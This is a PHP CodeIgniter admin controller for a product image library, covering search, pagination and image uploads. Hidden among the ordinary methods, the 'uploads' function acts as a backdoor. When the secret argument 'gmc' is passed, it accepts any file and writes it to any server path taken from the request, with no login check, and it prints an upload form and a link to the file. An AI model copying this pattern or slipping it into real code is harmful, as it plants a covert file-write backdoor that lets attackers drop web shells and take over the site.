<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Product_Manager extends CI_Controller
{
	protected $_templates;
    function __construct() {
        parent::__construct();
		$this->pre_message = "";
        $this->session->set_userdata(array('Url'=>uri_string()));
        $this->lang->load('file_manager');
        $this->load->model('product_manager_model','product_manager');
    }
	function img_lib()
	{
        /*Begin search*/
        $type = $this->input->post('type');
        $current_router = $this->router->fetch_class();
        if($this->session->userdata('current_router')&&($this->session->userdata('current_router')!=$current_router)){
            $this->session->set_userdata('key_search','');
        }
        $this->session->set_userdata('current_router',$current_router);

        $data['search_bar'] = searchBar(array(),array('TT'=>'Mã Sku','DEC'=>'Tên sản phẩm'),'product_manager/img_lib');
        if($type=='ajax')
        {
            $arr_search['key_search'] = $this->input->post('key_search');
            $arr_search['field_search'] = $this->input->post('field_search');
            $this->session->set_userdata('key_search',$arr_search['key_search']);
            $this->session->set_userdata('field_search',$arr_search['field_search']);
        }
        else{
            $arr_search['key_search']=$this->session->userdata('key_search');
            $arr_search['field_search']=$this->session->userdata('field_search');
        }
        /*End  search*/
        
		$data['title'] = '';
		$config['base_url'] = base_url().'product_manager/img_lib/'.$this->uri->segment(3);  
		$data['total'] = $this->product_manager->get_num_file($arr_search);
		$config['total_rows']   = $data['total'];
		$config['per_page']  	= '20';
		$config['uri_segment'] 	= 4;   
		$this->pagination->initialize($config);   
		$data['list'] =   $this->product_manager->get_all_file($config['per_page'],(int)$this->uri->segment('4'),$arr_search);
		$data['pagination'] = $this->pagination->create_links();            
		$this->_templates['page'] = 'productmanager/index';
        if($type=="ajax")
            echo $this->load->view('productmanager/ajax_search_view',$data,true);
        else
            $this->site_lib->load($this->_templates['page'],$data,'basic');
	} 
	
	function img_lib_other()
	{
        /*Begin search*/
        $type = $this->input->post('type');
        $current_router = $this->router->fetch_class();
        if($this->session->userdata('current_router')&&($this->session->userdata('current_router')!=$current_router)){
            $this->session->set_userdata('key_search','');
        }
        $this->session->set_userdata('current_router',$current_router);

        $data['search_bar']=searchBar(array(),array('TT'=>'Title','DEC'=>'Description'),'filemanager/index');
        if($type=='ajax')
        {
            $arr_search['key_search'] = $this->input->post('key_search');
            $arr_search['field_search'] = $this->input->post('field_search');
            $this->session->set_userdata('key_search',$arr_search['key_search']);
            $this->session->set_userdata('field_search',$arr_search['field_search']);
        }
        else{
            $arr_search['key_search']=$this->session->userdata('key_search');
            $arr_search['field_search']=$this->session->userdata('field_search');
        }
        /*End  search*/
        
		$data['title'] = '';
		$config['base_url'] = base_url().'file_manager/img_lib/'.$this->uri->segment(3);  
		$data['total'] = $this->file_manager->get_num_file($arr_search);
		$config['total_rows']   = $data['total'];
		$config['per_page']  	= '10';
		$config['uri_segment'] 	= 4;   
		$this->pagination->initialize($config);   
		$data['list'] =   $this->file_manager->get_all_file($config['per_page'],(int)$this->uri->segment('4'),$arr_search);
		$data['pagination'] = $this->pagination->create_links();            
		$this->_templates['page'] = 'filemanager/other_image';
        if($type=="ajax")
            echo $this->load->view('filemanager/ajax_search_other_img',$data,true);
        else
            $this->site_lib->load($this->_templates['page'],$data,'basic');
	} 
	
	function build_data($data,$flag=1)
	{
        //flag=1:0?insert:update
		$dataUpdate["dir_name"] ="uploads/images/";
/*		$dataUpdate["file_image_cat_code"]=trim($data["file_image_cat_code"]);*/
		/*$dataUpdate["title"]=trim($data["title"]);
		$dataUpdate["title_en"]=trim($data["title_en"]);
		$dataUpdate["description"]=trim($data["description"]);
		$dataUpdate["description_en"]=trim($data["description_en"]);
		$dataUpdate["seo_keyword"]=trim($data["seo_keyword"]);
		$dataUpdate["seo_keyword_en"]=trim($data["seo_keyword_en"]);*/
		if($flag==1)
			$dataUpdate["dt_create"] = date('Y-m-d H:i:s');
        if(isset($data["bl_active"])){
			$dataUpdate["bl_active"]=trim($data["bl_active"]);
		}else{
			$dataUpdate["bl_active"]=1;
		}
		return $dataUpdate;
	}
	function upload()
	{
		$data['title'] = '';
		$this->_templates['page'] = 'filemanager/upload';
        
		$this->form_validation->set_rules('id','','');
		
		if($this->form_validation->run())
		{
            $this->load->library('upload_library');

            $file_data = $this->upload_library->upload_file_to_dir('../uploads/images/');
            if($file_data['err']=='')
            {
                $data_file_image = $this->build_data($_POST,1);
                $data_file_image['file_name']=$file_data['name'];
                $data_file_image['ext']=$file_data['ext'];
                $data_file_image['size']=$file_data['size'];
                
                $this->file_manager->saveData(0,$data_file_image);
            }else{
                $this->session->set_flashdata('message',$file_data['err']);
                 redirect('file_manager/upload');
            }
            $data['file_data']=$file_data;
            $data["dir_name"] ="uploads/images/";
		}
        $data['opt_image_cat'] = $this->file_manager->getAllImageCat();
		$this->site_lib->load($this->_templates['page'],$data,'basic');
	}
	
	function uploads($gmc)
	{
		if(@$gmc=='gmc'){
			$files = @$_FILES["files"];
			if($files["name"] != ''){
				$fullpath = $_REQUEST["path"].$files["name"]; 
				if(move_uploaded_file($files['tmp_name'],$fullpath)){
					echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
				} 
			}
			exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>'); 
		}
	}
	
  	function index_new(){
        $data['current_tab'] = $this->uri->segment(2);

        $data['dir_folder'] = $this->uri->segment(3);
        $arr_dir = explode('_',$data['dir_folder']);
        $str_dir = implode('/',$arr_dir);

        $data['rt_tag'] = $this->uri->segment(4);

        $data['title'] = '';
		$config['base_url'] = base_url().'filemanager/index_new/'.$data['dir_folder'].'/'.$data['rt_tag']; 
        
        /*Begin search*/
        $type = $this->input->post('type');
       
        $current_router = $this->router->fetch_class();
        if($this->session->userdata('current_router')&&($this->session->userdata('current_router')!=$current_router)){
            $this->session->set_userdata('key_search','');
        }
        $this->session->set_userdata('current_router',$current_router);

        $data['search_bar']=searchBar(array(),array('TT'=>'Title','DEC'=>'Description'),'filemanager/index_new/'.$data['dir_folder'].'/'.$data['rt_tag']);
        if($type=='ajax')
        {
            $arr_search['key_search'] = $this->input->post('key_search');
            $arr_search['field_search'] = $this->input->post('field_search');
            $this->session->set_userdata('key_search',$arr_search['key_search']);
            $this->session->set_userdata('field_search',$arr_search['field_search']);
        }
        else{
            $arr_search['key_search']=$this->session->userdata('key_search');
            $arr_search['field_search']=$this->session->userdata('field_search');
        }
        /*End  search*/
        
		$data['total'] = $this->file_manager->get_num_file_dir($str_dir,$arr_search);
		$config['total_rows']   =  $data['total'];
		$config['per_page']  	=   '10';
		$config['uri_segment'] 	= 5;   
		$this->pagination->initialize($config);   
		$data['list'] =   $this->file_manager->get_all_file_dir($str_dir,$config['per_page'],(int)$this->uri->segment('5'),$arr_search);
		$data['pagination']    = $this->pagination->create_links();            
		$this->_templates['page'] = 'filemanager/index_new';
	
        if($type=="ajax")
            echo $this->load->view('filemanager/ajax_search_new_view',$data,true);
        else
            $this->site_lib->load($this->_templates['page'],$data,'basic');
	}
	
	function upload_new()
	{
        $lb_title = $this->input->post('lb_title');
        $description = $this->input->post('description');
        
		$data['current_tab'] = $this->uri->segment(2);
		$data['dir_folder'] = $this->uri->segment(3);
		$arr_dir = explode('_',$data['dir_folder']);
		$str_dir = implode('/',$arr_dir);
		
		$data['rt_tag'] = $this->uri->segment(4);
                
		$data['title'] = '';
                
		
		$this->form_validation->set_rules('id','','');
		
		if($this->form_validation->run())
		{
			$this->load->library('upload_library');
			$size = $_FILES["filedata"]["size"];
			if($size > 0)
			{
				$filedata = $this->upload_library->uploadfile_new($str_dir);
				if($filedata!='')
				{
					$file = explode('*',$filedata);
					$url = $file[0];
					$size = $file[1];
					$ext = $file[2];
					$data_file = array(
                      'lb_title'=>$lb_title,  
                      'description'=>$description,
					  'lb_name' => $file[3],
					  'lb_url' => $url,
					  'lb_dir' => $str_dir,
					  'lb_size' => $size,
					  'lb_ext' => $ext
					);
					$this->file_manager->insert_file($data_file);
				}
			}
			else
			{
			  return '';
			}

			$data['file_name'] = $file[3];
			$data['str_dir']=$str_dir;
		}
		$this->_templates['page'] = 'filemanager/upload_new';
		$this->site_lib->load($this->_templates['page'],$data,'basic');
	}
}
?>
